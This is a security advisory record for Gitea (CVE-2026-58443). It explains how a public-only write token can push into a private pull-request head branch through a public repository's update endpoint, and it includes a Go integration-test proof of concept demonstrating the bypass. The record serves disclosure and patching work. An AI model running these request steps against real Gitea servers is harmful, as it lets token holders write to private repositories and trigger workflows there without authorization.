{ "schema_version": "1.4.0", "id": "GHSA-xxjv-752h-3vp2", "modified": "2026-07-21T20:38:06Z", "published": "2026-07-21T20:38:06Z", "aliases": [ "CVE-2026-58443" ], "summary": "Gitea: Public-only repository tokens can update private PR head branches", "details": "### Summary\nGitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route.\n\nThe vulnerable endpoint is:\n\n```text\nPOST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update\n```\n\nGitea checks the token's public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.\n\nAs a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.\n\n### Details\nThe pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository.\n\n```go\n// routers/api/v1/api.go:1358-1394\n\t\t\t\t\tm.Group(\"/pulls\", func() {\n\t\t\t\t\t\tm.Combo(\"\").Get(repo.ListPullRequests).\n\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)\n\t\t\t\t\t\tm.Get(\"/pinned\", repo.ListPinnedPullRequests)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/resolve\", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/unresolve\", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)\n\t\t\t\t\t\tm.Group(\"/{index}\", func() {\n\t\t\t\t\t\t\tm.Combo(\"\").Get(repo.GetPullRequest).\n\t\t\t\t\t\t\t\tPatch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)\n\t\t\t\t\t\t\tm.Get(\".{diffType:diff|patch}\", repo.DownloadPullDiffOrPatch)\n\t\t\t\t\t\t\tm.Post(\"/update\", reqToken(), repo.UpdatePullRequest)\n\t\t\t\t\t\t\tm.Get(\"/commits\", repo.GetPullRequestCommits)\n\t\t\t\t\t\t\tm.Get(\"/files\", repo.GetPullRequestFiles)\n\t\t\t\t\t\t\tm.Combo(\"/merge\").Get(repo.IsPullRequestMerged).\n\t\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).\n\t\t\t\t\t\t\t\tDelete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)\n\t\t\t\t\t\t\tm.Group(\"/reviews\", func() {\n\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\tGet(repo.ListPullReviews).\n\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)\n\t\t\t\t\t\t\t\tm.Group(\"/{id}\", func() {\n\t\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReview).\n\t\t\t\t\t\t\t\t\t\tDelete(reqToken(), repo.DeletePullReview).\n\t\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)\n\t\t\t\t\t\t\t\t\tm.Combo(\"/comments\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReviewComments)\n\t\t\t\t\t\t\t\t\tm.Post(\"/dismissals\", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)\n\t\t\t\t\t\t\t\t\tm.Post(\"/undismissals\", repo.UnDismissPullReview)\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tm.Combo(\"/requested_reviewers\", reqToken()).\n\t\t\t\t\t\t\t\tDelete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).\n\t\t\t\t\t\t\t\tPost(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)\n\t\t\t\t\t\t})\n\t\t\t\t\t\tm.Get(\"/{base}/*\", repo.GetPullRequestByBaseHead)\n\t\t\t\t\t}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())\n```\n\n```go\n// routers/api/v1/api.go:1465-1466\n\t\t\t\t}, repoAssignment(), checkTokenPublicOnly())\n\t\t\t}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))\n```\n\nFor `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check.\n\nThe update handler then checks whether the caller can update the PR head branch:\n\n```go\n// routers/api/v1/repo/pull.go:1220-1270\n\tpr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64(\"index\"))\n\tif err != nil {\n\t\tif issues_model.IsErrPullRequestNotExist(err) {\n\t\t\tctx.APIErrorNotFound()\n\t\t} else {\n\t\t\tctx.APIErrorInternal(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif pr.HasMerged {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadIssue(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif pr.Issue.IsClosed {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadBaseRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\tif err = pr.LoadHeadRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\trebase := ctx.FormString(\"style\") == \"rebase\"\n\nallowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)\n\tif err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {\n\t\tctx.Status(http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// default merge commit message\n\tmessage := fmt.Sprintf(\"Merge branch '%s' into %s\", pr.BaseBranch, pr.HeadBranch)\n```\n\nThe service checks the head repository using the user's normal repository permission:\n\n```go\n// services/pull/update.go:136-164\n// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections\n// update PR means send new commits to PR head branch from base branch\nfunc IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {\n\tif user == nil {\n\t\treturn false, false, nil\n\t}\n\tif err := pull.LoadBaseRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\tif err := pull.LoadHeadRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\n\t// 1. check whether pull request enabled.\n\tprBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)\n\tif repo_model.IsErrUnitTypeNotExist(err) {\n\t\treturn false, false, nil // the PR unit is disabled in base repo means no update allowed\n\t} else if err != nil {\n\t\treturn false, false, fmt.Errorf(\"get base repo unit: %v\", err)\n\t}\n\n\t// 2. only support Github style pull request\n\tif pull.Flow == issues_model.PullRequestFlowAGit {\n\t\treturn false, false, nil\n\t}\n\n\t// 3. check user push permission on head repository\npushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)\n\tif err != nil {\n\t\treturn false, false, err\n\t}\n```\n\nThat is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`.\n\nIf allowed, the update service performs a merge/rebase update and pushes into the head repository:\n\n```go\n// services/pull/update.go:89-100\n\treversePR := &issues_model.PullRequest{\n\t\tBaseRepoID: pr.HeadRepoID,\n\t\tBaseRepo: pr.HeadRepo,\n\t\tBaseBranch: pr.HeadBranch,\n\n\t\tHeadRepoID: pr.BaseRepoID,\n\t\tHeadRepo: pr.BaseRepo,\n\t\tHeadBranch: pr.BaseBranch,\n\t}\n\n_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, \"\", message, repository.PushTriggerPRUpdateWithBase)\n\treturn err\n```\n\nThe result is a server-side private repository write performed through a public route.\n\n### PoC\n```go\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\tactions_model \"code.gitea.io/gitea/models/actions\"\n\tauth_model \"code.gitea.io/gitea/models/auth\"\n\trepo_model \"code.gitea.io/gitea/models/repo\"\n\tunit_model \"code.gitea.io/gitea/models/unit\"\n\t\"code.gitea.io/gitea/models/unittest\"\n\tuser_model \"code.gitea.io/gitea/models/user\"\n\t\"code.gitea.io/gitea/modules/gitrepo\"\n\tapi \"code.gitea.io/gitea/modules/structs\"\n\twebhook_module \"code.gitea.io/gitea/modules/webhook\"\n\trepo_service \"code.gitea.io/gitea/services/repository\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, _ *url.URL) {\n\t\tdoer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: \"user1\"})\n\n\t\tbaseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{\n\t\t\tName: \"public-pr-update-base\",\n\t\t\tDescription: \"public base repository for public-only PR update PoC\",\n\t\t\tAutoInit: true,\n\t\t\tReadme: \"Default\",\n\t\t\tDefaultBranch: \"main\",\n\t\t\tIsPrivate: false,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\theadRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{\n\t\t\tBaseRepo: baseRepo,\n\t\t\tName: \"private-pr-update-head\",\n\t\t\tDescription: \"private head repository for public-only PR update PoC\",\n\t\t\tSingleBranch: baseRepo.DefaultBranch,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, headRepo)\n\t\trequire.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{\n\t\t\tRepoID: headRepo.ID,\n\t\t\tType: unit_model.TypeActions,\n\t\t}}, nil))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})\n\n\t\theadBranch := \"private-head-update\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: baseRepo.DefaultBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\"private-head-marker.txt\": \"private head branch marker\",\n\t\t})\n\t\tconst workflowID = \"private-push.yml\"\n\t\tconst workflowSentinel = \"FAULTLINE_POC_062_PRIVATE_ACTION\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: headBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\".gitea/workflows/\" + workflowID: fmt.Sprintf(`name: private-push\non:\n push:\n branches:\n - %s\njobs:\n private-head-job:\n runs-on: ubuntu-latest\n steps:\n - run: echo %s\n`, headBranch, workflowSentinel),\n\t\t})\n\n\t\trequire.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{\n\t\t\tID: headRepo.ID,\n\t\t\tIsPrivate: true,\n\t\t}, \"is_private\"))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})\n\t\trequire.True(t, headRepo.IsPrivate)\n\t\tbaselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})\n\n\t\tsession := loginUser(t, doer.Name)\n\t\tpublicOnlyToken := getTokenForLoggedInUser(t, session,\n\t\t\tauth_model.AccessTokenScopePublicOnly,\n\t\t\tauth_model.AccessTokenScopeWriteRepository,\n\t\t)\n\n\t\tpublicPath := \"public-base-injected-into-private.txt\"\n\t\tpublicMarker := \"FAULT-GITEA-062 public base content reached private head\"\n\t\tcreatePublicBaseFile := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: baseRepo.DefaultBranch,\n\t\t\t\tMessage: \"create public marker for private head update\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),\n\t\t}\n\t\treq := NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", baseRepo.FullName(), publicPath), &createPublicBaseFile).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\n\t\tprivatePath := \"direct-private-write-should-fail.txt\"\n\t\tdirectPrivateWrite := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: headBranch,\n\t\t\t\tMessage: \"direct private write attempt\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(\"direct private write marker\")),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", headRepo.FullName(), privatePath), &directPrivateWrite).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusNotFound)\n\n\t\tprPayload := map[string]string{\n\t\t\t\"title\": \"faultline public-only private head update\",\n\t\t\t\"base\": baseRepo.DefaultBranch,\n\t\t\t\"head\": fmt.Sprintf(\"%s/%s:%s\", doer.Name, headRepo.Name, headBranch),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/pulls\", baseRepo.FullName()), prPayload).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\t\tvar pr api.PullRequest\n\t\tDecodeJSON(t, resp, &pr)\n\t\trequire.Equal(t, prPayload[\"title\"], pr.Title)\n\n\t\tgitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)\n\t\trequire.NoError(t, err)\n\t\tdefer gitRepo.Close()\n\n\t\tcommit, err := gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\t_, err = commit.GetBlobByPath(publicPath)\n\t\trequire.Error(t, err)\n\n\t\treq = NewRequestf(t, \"POST\", \"/api/v1/repos/%s/pulls/%d/update?style=merge\", baseRepo.FullName(), pr.Index).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusOK)\n\t\tassert.Eventually(t, func() bool {\n\t\t\treturn unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns\n\t\t}, 5*time.Second, 50*time.Millisecond)\n\n\t\tactionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{\n\t\t\tRepoID: headRepo.ID,\n\t\t\tWorkflowID: workflowID,\n\t\t}, unittest.OrderBy(\"id DESC\"))\n\t\tassert.Equal(t, webhook_module.HookEventPush, actionRun.Event)\n\t\tassert.Equal(t, \"push\", actionRun.TriggerEvent)\n\t\tassert.Equal(t, doer.ID, actionRun.TriggerUserID)\n\t\tassert.NotEmpty(t, actionRun.CommitSHA)\n\n\t\tjob := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})\n\t\tassert.Contains(t, string(job.WorkflowPayload), workflowSentinel)\n\n\t\tcommit, err = gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\tblob, err := commit.GetBlobByPath(publicPath)\n\t\trequire.NoError(t, err)\n\t\tcontent, err := blob.GetBlobContent(1024)\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, publicMarker, content)\n\t})\n}\n```\n\n### Impact\nThe attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.\n\nSuccessful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.\n\nWhen Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H" } ], "affected": [ { "package": { "ecosystem": "Go", "name": "code.gitea.io/gitea" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.27.0" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2" }, { "type": "PACKAGE", "url": "https://github.com/go-gitea/gitea" }, { "type": "WEB", "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0" } ], "database_specific": { "cwe_ids": [ "CWE-863" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2026-07-21T20:38:06Z", "nvd_published_at": null } }